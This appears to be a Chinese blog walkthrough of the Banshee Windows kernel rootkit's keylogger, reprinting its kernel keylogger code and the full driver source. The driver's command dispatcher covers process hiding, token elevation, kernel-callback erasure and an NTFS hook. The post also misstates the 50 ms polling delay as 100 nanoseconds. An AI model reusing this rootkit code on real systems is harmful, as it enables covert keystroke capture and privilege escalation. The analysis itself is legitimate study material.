书接上回,这次的文章继续来探讨一下Banshee的其他功能的实现😘
键盘记录
首先来看一下效果
由于本项目的键盘记录使用DbgPrint
来打印,所以我们需要使用dbgview来查看,在虚拟机使用dbgview会有如下杂乱的信息干扰我们分析,可以使用过滤器屏蔽.
在banshee命令行输入keylog打开键盘记录,按下a键,可以看到dbgview中banshee的输出,接下来详细解释该功能的实现.
键盘记录的主要功能在Keylogger.hpp中实现,代码如下:
#include <ntifs.h>
#include <wdf.h>
#include "Globals.hpp"
#include "Misc.hpp"
#include "WinTypes.hpp"
#include "MemoryUtils.hpp"
#include "DriverMeta.hpp"
#define MOV_RAX_QWORD_BYTE1 0x48
#define MOV_RAX_QWORD_BYTE2 0x8B
#define MOV_RAX_QWORD_BYTE3 0x05
// https://github.com/mirror/reactos/blob/c6d2b35ffc91e09f50dfb214ea58237509329d6b/reactos/win32ss/user/ntuser/input.h#L91
#define GET_KS_BYTE(vk) ((vk) * 2 / 8)
#define GET_KS_DOWN_BIT(vk) (1 << (((vk) % 4)*2))
#define GET_KS_LOCK_BIT(vk) (1 << (((vk) % 4)*2 + 1))
#define IS_KEY_DOWN(ks, vk) (((ks)[GET_KS_BYTE(vk)] & GET_KS_DOWN_BIT(vk)) ? TRUE : FALSE)
#define IS_KEY_LOCKED(ks, vk) (((ks)[GET_KS_BYTE(vk)] & GET_KS_LOCK_BIT(vk)) ? TRUE : FALSE)
#define SET_KEY_DOWN(ks, vk, down) (ks)[GET_KS_BYTE(vk)] = ((down) ? \
((ks)[GET_KS_BYTE(vk)] | GET_KS_DOWN_BIT(vk)) : \
((ks)[GET_KS_BYTE(vk)] & ~GET_KS_DOWN_BIT(vk)))
#define SET_KEY_LOCKED(ks, vk, down) (ks)[GET_KS_BYTE(vk)] = ((down) ? \
((ks)[GET_KS_BYTE(vk)] | GET_KS_LOCK_BIT(vk)) : \
((ks)[GET_KS_BYTE(vk)] & ~GET_KS_LOCK_BIT(vk)))
#define VK_A 0x41
UINT8 keyStateMap[64] = { 0 };
UINT8 keyPreviousStateMap[64] = { 0 };
UINT8 keyRecentStateMap[64] = { 0 };
/**
* Read the contents of gafAsyncKeyStateAddr into keyStateMap.
*/
VOID
BeUpdateKeyStateMap(const HANDLE& procId, const PVOID& gafAsyncKeyStateAddr)
{
memcpy(keyPreviousStateMap, keyStateMap, 64);
SIZE_T size = 0;
BeGlobals::pMmCopyVirtualMemory(
BeGetEprocessByPid(HandleToULong(procId)),
gafAsyncKeyStateAddr,
PsGetCurrentProcess(),
&keyStateMap,
sizeof(UINT8[64]),
KernelMode,
&size
);
for (auto vk = 0u; vk < 256; ++vk)
{
// if key is down but wasnt previously, set it in the recent state as down
if (IS_KEY_DOWN(keyStateMap, vk) && !(IS_KEY_DOWN(keyPreviousStateMap, vk)))
{
SET_KEY_DOWN(keyRecentStateMap, vk, TRUE);
}
}
}
/**
* Check if the key was pressed since the last call to this function
*
* @param UINT8 virtual key code
* @return BOOLEAN TRUE if the key was pressed, else FALSE
*/
BOOLEAN
BeWasKeyPressed(UINT8 vk)
{
BOOLEAN result = IS_KEY_DOWN(keyRecentStateMap, vk);
SET_KEY_DOWN(keyRecentStateMap, vk, FALSE);
return result;
}
/**
* Get the address of gafAsyncKeyState
*
* @returns UINT64 address of gafAsyncKeyState
*/
PVOID
BeGetGafAsyncKeyStateAddress()
{
// TODO FIXME: THIS IS WINDOWS <= 10 ONLY
KAPC_STATE apc;
// Get Address of NtUserGetAsyncKeyState
DWORD64 ntUserGetAsyncKeyState = (DWORD64)BeGetSystemRoutineAddress(Win32kBase, "NtUserGetAsyncKeyState");
LOG_MSG("NtUserGetAsyncKeyState: 0x%llx\n", ntUserGetAsyncKeyState);
// To read session driver modules (such as win32kbase.sys, which contains NtUserGetAsyncKeyState), we need a process running in a user session
// https://www.unknowncheats.me/forum/general-programming-and-reversing/492970-reading-memory-win32kbase-sys.html
KeStackAttachProcess(BeGlobals::winLogonProc, &apc);
PVOID address = 0;
INT i = 0;
// Resolve gafAsyncKeyState address
for (; i < 500; ++i)
{
if (
*(BYTE*)(ntUserGetAsyncKeyState + i) == MOV_RAX_QWORD_BYTE1
&& *(BYTE*)(ntUserGetAsyncKeyState + i + 1) == MOV_RAX_QWORD_BYTE2
&& *(BYTE*)(ntUserGetAsyncKeyState + i + 2) == MOV_RAX_QWORD_BYTE3
)
{
// param for MOV RAX QWORD PTR is the offset to the address of gafAsyncKeyState
UINT32 offset = (*(PUINT32)(ntUserGetAsyncKeyState + i + 3));
address = (PVOID)(ntUserGetAsyncKeyState + i + 3 + 4 + offset); // 4 = length of offset value
LOG_MSG("%02X %02X %02X %lx\n", *(BYTE*)(ntUserGetAsyncKeyState + i), *(BYTE*)(ntUserGetAsyncKeyState + i + 1), *(BYTE*)(ntUserGetAsyncKeyState + i + 2), offset);
break;
}
}
if (address == 0)
{
LOG_MSG("Could not resolve gafAsyncKeyState...\n");
}
else
{
LOG_MSG("Found address to gafAsyncKeyState at offset [NtUserGetAsyncKeyState]+%i: 0x%llx\n", i, address);
}
KeUnstackDetachProcess(&apc);
return address;
}
/**
* Thread function that runs a keylogger in the background, directly reading from gafAsyncKeyStateAddress
*/
VOID
BeKeyLoggerFunction(IN PVOID StartContext)
{
UNREFERENCED_PARAMETER(StartContext);
PVOID gasAsyncKeyStateAddr = BeGetGafAsyncKeyStateAddress();
while(true)
{
if (BeGlobals::logKeys)
{
BeUpdateKeyStateMap(BeGlobals::winLogonPid, gasAsyncKeyStateAddr);
// POC: just check for A. TODO: log all keys
if (BeWasKeyPressed(0x41))
{
LOG_MSG("A pressed\n");
}
}
if (BeGlobals::shutdown)
{
PsTerminateSystemThread(STATUS_SUCCESS);
}
// Sleep for 0.05 seconds
LARGE_INTEGER interval;
interval.QuadPart = -1 * (LONGLONG)50 * 10000;
KeDelayExecutionThread(KernelMode, FALSE, &interval);
}
}
以下是Driver.cpp完整代码:
#include <ntifs.h>
#include <wdf.h>
#include "DriverMeta.hpp"
#include "Globals.hpp"
#include "Commands.hpp"
#include "FileUtils.hpp"
#include "Keylogger.hpp"
// --------------------------------------------------------------------------------------------------------
// Features
// Deny file system access to the banshee.sys file by hooking NTFS
#define DENY_DRIVER_FILE_ACCESS FALSE
// --------------------------------------------------------------------------------------------------------
HANDLE hKeyloggerThread;
HANDLE hMainLoop;
typedef struct _BANSHEE_PAYLOAD {
COMMAND_TYPE cmdType;
ULONG status;
ULONG ulValue;
BYTE byteValue;
WCHAR wcharString[64];
CALLBACK_DATA callbackData[32];
} BANSHEE_PAYLOAD;
/**
* Called on unloading the driver.
*
* @return NTSTATUS status code.
*/
NTSTATUS
BeUnload()
{
LOG_MSG("Unload Called \r\n");
BeGlobals::shutdown = true;
// Wait for keylogger to stop running TODO: proper signaling via events?
BeGlobals::logKeys = false;
LARGE_INTEGER interval;
interval.QuadPart = -1 * (LONGLONG)500 * 10000;
KeDelayExecutionThread(KernelMode, FALSE, &interval);
// Close thread handle
ZwClose(hKeyloggerThread);
// Restore kernel callbacks
{
{
AutoLock<FastMutex> _lock(BeGlobals::callbackLock);
LOG_MSG("Erased kernel callback amount: %i\n", BeGlobals::beCallbacksToRestore.length);
while (BeGlobals::beCallbacksToRestore.length >= 0)
{
auto callbackToRestore = BeGlobals::beCallbacksToRestore.callbackToRestore[BeGlobals::beCallbacksToRestore.length];
auto callbackAddr = BeGlobals::beCallbacksToRestore.addrOfCallbackFunction[BeGlobals::beCallbacksToRestore.length];
auto callbackType = BeGlobals::beCallbacksToRestore.callbackType[BeGlobals::beCallbacksToRestore.length];
if (callbackToRestore != NULL)
{
LOG_MSG("Restoring kernel callback function -> callbackToRestore 0x%llx\n", callbackToRestore);
switch (callbackType)
{
case CreateProcessNotifyRoutine:
InterlockedExchange64((LONG64*)callbackAddr, callbackToRestore);
break;
default:
LOG_MSG("Invalid callback type\r\n");
return STATUS_INVALID_PARAMETER;
break;
}
}
BeGlobals::beCallbacksToRestore.length--;
}
}
}
// Unhook if NTFS was hooked
if (BeGlobals::originalNTFS_IRP_MJ_CREATE_function != NULL)
{
if (BeUnhookNTFSFileCreate() == STATUS_SUCCESS)
{
LOG_MSG("Removed NTFS hook!\n");
}
else
{
LOG_MSG("Failed to remove NTFS hook!\n");
}
}
// Delete shared memory
BeCloseSharedMemory(BeGlobals::hSharedMemory, BeGlobals::pSharedMemory);
// Deref objects
ObDereferenceObject(BeGlobals::winLogonProc);
LOG_MSG("Byebye!\n");
PsTerminateSystemThread(0);
return STATUS_SUCCESS;
}
VOID
BeMainLoop(PVOID StartContext)
{
UNREFERENCED_PARAMETER(StartContext);
KAPC_STATE apc;
while (true)
{
LOG_MSG("Waiting for commandEvent...\n");
NTSTATUS status = BeWaitForEvent(BeGlobals::commandEvent);
LOG_MSG("CommandEvent Signaled! %d\n", status);
// Reset
status = BeSetNamedEvent(BeGlobals::commandEvent, FALSE);
LOG_MSG("CommandEvent reset! %d\n", status);
// Read command payload
KeStackAttachProcess(BeGlobals::winLogonProc, &apc);
BANSHEE_PAYLOAD payload = *(BANSHEE_PAYLOAD*)BeGlobals::pSharedMemory;
LOG_MSG("Read: %d\n", payload.cmdType);
KeUnstackDetachProcess(&apc);
// Execute command
NTSTATUS bansheeStatus = STATUS_NOT_IMPLEMENTED;
switch (payload.cmdType)
{
case KILL_PROCESS:
bansheeStatus = BeCmd_KillProcess(ULongToHandle(payload.ulValue));
break;
case PROTECT_PROCESS:
bansheeStatus = BeCmd_ProtectProcess(payload.ulValue, payload.byteValue);
break;
case ELEVATE_TOKEN:
bansheeStatus = BeCmd_ElevateProcessAcessToken(ULongToHandle(payload.ulValue));
break;
case HIDE_PROCESS:
bansheeStatus = BeCmd_HideProcess(ULongToHandle(payload.ulValue));
break;
case ENUM_CALLBACKS:
{
auto cbData = BeCmd_EnumerateCallbacks((CALLBACK_TYPE)payload.ulValue);
// Write answer: copy over callbacks
KeStackAttachProcess(BeGlobals::winLogonProc, &apc);
for (auto i = 0U; i < cbData.size(); ++i)
{
CALLBACK_DATA cbd = { // TODO: this aint pretty, its a pity...
cbData[i].driverBase,
cbData[i].offset,
NULL
};
memcpy(cbd.driverName, cbData[i].driverName, (wcslen(cbData[i].driverName) + 1) * sizeof(WCHAR));
memcpy((PVOID)&(*((BANSHEE_PAYLOAD*)BeGlobals::pSharedMemory)).callbackData[i], (PVOID)&cbd, sizeof(CALLBACK_DATA));
}
// Write amount of callbacks to ulValue
(*((BANSHEE_PAYLOAD*)BeGlobals::pSharedMemory)).ulValue = (ULONG)cbData.size();
KeUnstackDetachProcess(&apc);
}
bansheeStatus = STATUS_SUCCESS;
break;
case ERASE_CALLBACKS:
bansheeStatus = BeCmd_EraseCallbacks(payload.wcharString, (CALLBACK_TYPE)payload.ulValue);
break;
case START_KEYLOGGER:
bansheeStatus = BeCmd_StartKeylogger((BOOLEAN)payload.byteValue);
break;
case UNLOAD:
BeSetNamedEvent(BeGlobals::answerEvent, TRUE);
BeUnload();
return;
break;
default:
break;
}
// Write answer
KeStackAttachProcess(BeGlobals::winLogonProc, &apc);
(*((BANSHEE_PAYLOAD*)BeGlobals::pSharedMemory)).status = bansheeStatus;
KeUnstackDetachProcess(&apc);
// Set answer event
BeSetNamedEvent(BeGlobals::answerEvent, TRUE);
LOG_MSG("Set answerEvent\n");
}
}
/**
* Banshees driver entrypoint.
*
* @param pDriverObject Pointer to the DriverObject.
* @param pRegistryPath A pointer to a UNICODE_STRING structure that specifies the path to the driver's Parameters key in the registry.
* @return NTSTATUS status code.
*/
NTSTATUS
BansheeEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegistryPath)
{
UNREFERENCED_PARAMETER(pRegistryPath);
UNREFERENCED_PARAMETER(pDriverObject);
NTSTATUS NtStatus = STATUS_SUCCESS;
#if DENY_DRIVER_FILE_ACCESS
NtStatus = BeHookNTFSFileCreate();
#endif
LOG_MSG("Init globals\r\n");
NtStatus = BeGlobals::BeInitGlobals();
if (!NT_SUCCESS(NtStatus))
{
return NtStatus;
}
// Start Keylogger Thread
NtStatus = PsCreateSystemThread(&hKeyloggerThread, THREAD_ALL_ACCESS, NULL, NULL, NULL, BeKeyLoggerFunction, NULL);
if (NtStatus != 0)
{
return NtStatus;
}
// Main command loop
NtStatus = PsCreateSystemThread(&hMainLoop, THREAD_ALL_ACCESS, NULL, NULL, NULL, BeMainLoop, NULL);
if (NtStatus != 0)
{
return NtStatus;
}
return NtStatus;
}
/**
* Driver entrypoint.
*
* @param pDriverObject Pointer to the DriverObject.
* @param pRegistryPath A pointer to a UNICODE_STRING structure that specifies the path to the driver's Parameters key in the registry.
* @return NTSTATUS status code.
*/
extern "C"
NTSTATUS
DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegistryPath)
{
LOG_MSG(" ______ ______ ______ ______ _ _ ______ ______ \n");
LOG_MSG("| | | \\ | | | | | | \\ \\ / | | | | | | | | | \n");
LOG_MSG("| |--| < | |__| | | | | | '------. | |--| | | |---- | |---- \n");
LOG_MSG("|_|__|_/ |_| |_| |_| |_| ____|_/ |_| |_| |_|____ |_|____ \n");
LOG_MSG(BANSHEE_VERSION);
// If mapped, e.g. with kdmapper, those are empty.
UNREFERENCED_PARAMETER(pDriverObject);
UNREFERENCED_PARAMETER(pRegistryPath);
return BansheeEntry(pDriverObject, pRegistryPath);
}
接下来,我们来梳理一下开启键盘记录的整个流程:
在Driver.cpp中驱动入口函数BansheeEntry执行PsCreateSystemThread
NtStatus = PsCreateSystemThread(&hKeyloggerThread, THREAD_ALL_ACCESS, NULL, NULL, NULL, BeKeyLoggerFunction, NULL);
以下是PsCreateSystemThread的函数原型:
NTSTATUS PsCreateSystemThread(
PHANDLE ThreadHandle, // 返回线程句柄
ULONG DesiredAccess, // 线程访问权限
POBJECT_ATTRIBUTES ObjectAttributes, // 对象属性
HANDLE ProcessHandle, // 关联进程句柄
PCLIENT_ID ClientId, // 线程ID信息
PKSTART_ROUTINE StartRoutine, // 线程执行函数
PVOID StartContext // 传递给线程的参数
);
PsCreateSystemThread 是Windows内核中用于创建系统线程的函数,在这里他创建了一个线程来执行BeKeyLoggerFunction,这里是按键记录的核心逻辑.
VOID
BeKeyLoggerFunction(IN PVOID StartContext)
{
UNREFERENCED_PARAMETER(StartContext);
PVOID gasAsyncKeyStateAddr = BeGetGafAsyncKeyStateAddress();
while(true)
{
if (BeGlobals::logKeys)
{
BeUpdateKeyStateMap(BeGlobals::winLogonPid, gasAsyncKeyStateAddr);
// POC: just check for A. TODO: log all keys
if (BeWasKeyPressed(0x41))
{
LOG_MSG("A pressed\n");
}
}
if (BeGlobals::shutdown)
{
PsTerminateSystemThread(STATUS_SUCCESS);
}
// Sleep for 0.05 seconds
LARGE_INTEGER interval;
interval.QuadPart = -1 * (LONGLONG)50 * 10000;
KeDelayExecutionThread(KernelMode, FALSE, &interval);
}
}
在BeKeyLoggerFunction中,关键操作如下:
- 调用
BeGetGafAsyncKeyStateAddress()
,通过获取NtUserGetAsyncKeyState函数地址,附加到winLogonProc进程,地址特征匹配,汇编指令解析,最终返回gafAsyncKeyState全局数组的绝对内存地址,gafAsyncKeyState作用是存储全局键盘状态,包含256个虚拟键的状态 .
PVOID
BeGetGafAsyncKeyStateAddress()
{
// TODO FIXME: THIS IS WINDOWS <= 10 ONLY
KAPC_STATE apc;
// Get Address of NtUserGetAsyncKeyState
DWORD64 ntUserGetAsyncKeyState = (DWORD64)BeGetSystemRoutineAddress(Win32kBase, "NtUserGetAsyncKeyState");
LOG_MSG("NtUserGetAsyncKeyState: 0x%llx\n", ntUserGetAsyncKeyState);
// To read session driver modules (such as win32kbase.sys, which contains NtUserGetAsyncKeyState), we need a process running in a user session
// https://www.unknowncheats.me/forum/general-programming-and-reversing/492970-reading-memory-win32kbase-sys.html
KeStackAttachProcess(BeGlobals::winLogonProc, &apc);
PVOID address = 0;
INT i = 0;
// Resolve gafAsyncKeyState address
for (; i < 500; ++i)
{
if (
*(BYTE*)(ntUserGetAsyncKeyState + i) == MOV_RAX_QWORD_BYTE1
&& *(BYTE*)(ntUserGetAsyncKeyState + i + 1) == MOV_RAX_QWORD_BYTE2
&& *(BYTE*)(ntUserGetAsyncKeyState + i + 2) == MOV_RAX_QWORD_BYTE3
)
{
// param for MOV RAX QWORD PTR is the offset to the address of gafAsyncKeyState
UINT32 offset = (*(PUINT32)(ntUserGetAsyncKeyState + i + 3));
address = (PVOID)(ntUserGetAsyncKeyState + i + 3 + 4 + offset); // 4 = length of offset value
LOG_MSG("%02X %02X %02X %lx\n", *(BYTE*)(ntUserGetAsyncKeyState + i), *(BYTE*)(ntUserGetAsyncKeyState + i + 1), *(BYTE*)(ntUserGetAsyncKeyState + i + 2), offset);
break;
}
}
if (address == 0)
{
LOG_MSG("Could not resolve gafAsyncKeyState...\n");
}
else
{
LOG_MSG("Found address to gafAsyncKeyState at offset [NtUserGetAsyncKeyState]+%i: 0x%llx\n", i, address);
}
KeUnstackDetachProcess(&apc);
return address;
}
- 创建无限循环,持续执行键盘监控逻辑,以下是循环中逻辑
- 按键键盘记录开关检测
if (BeGlobals::logKeys) { // 仅在日志开关打开时执行 }
,当用户在命令行输入keylog时,logKeys标志会被置为start,即开启监听. - 调用
BeUpdateKeyStateMap
,主要操作包含:备份上一次键盘状态,读取系统最新键盘状态,比较当前和之前状态,更新最近按键状态映射.
BeUpdateKeyStateMap(const HANDLE& procId, const PVOID& gafAsyncKeyStateAddr)
{
memcpy(keyPreviousStateMap, keyStateMap, 64);
SIZE_T size = 0;
BeGlobals::pMmCopyVirtualMemory(
BeGetEprocessByPid(HandleToULong(procId)),
gafAsyncKeyStateAddr,
PsGetCurrentProcess(),
&keyStateMap,
sizeof(UINT8[64]),
KernelMode,
&size
);
for (auto vk = 0u; vk < 256; ++vk)
{
// if key is down but wasnt previously, set it in the recent state as down
if (IS_KEY_DOWN(keyStateMap, vk) && !(IS_KEY_DOWN(keyPreviousStateMap, vk)))
{
SET_KEY_DOWN(keyRecentStateMap, vk, TRUE);
}
}
}
- 这里作者只实现了a按键的记录,如果a被按下,通过
LOG_MSG
也就是DbgPrint
来打印"A pressed\n"
// POC: just check for A. TODO: log all keys
if (BeWasKeyPressed(0x41))
{
LOG_MSG("A pressed\n");
}
BeWasKeyPressed()
参数:vk = 虚拟键值(0-255) 返回:是否被按下的布尔值 从keyRecentStateMap
中获取数据
BeWasKeyPressed(UINT8 vk)
{
BOOLEAN result = IS_KEY_DOWN(keyRecentStateMap, vk);
SET_KEY_DOWN(keyRecentStateMap, vk, FALSE);
return result;
}
- 如果关闭监听,则线程成功退出
if (BeGlobals::shutdown)
{
PsTerminateSystemThread(STATUS_SUCCESS);
}
- 线程挂起100纳秒,之后从头继续检测逻辑.
LARGE_INTEGER interval;
interval.QuadPart = -1 * (LONGLONG)50 * 10000;
KeDelayExecutionThread(KernelMode, FALSE, &interval);
以上便是Banshee键盘记录功能的完整实现,下一篇文章将解释内核回调相关功能的实现😍
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
请登录后查看评论内容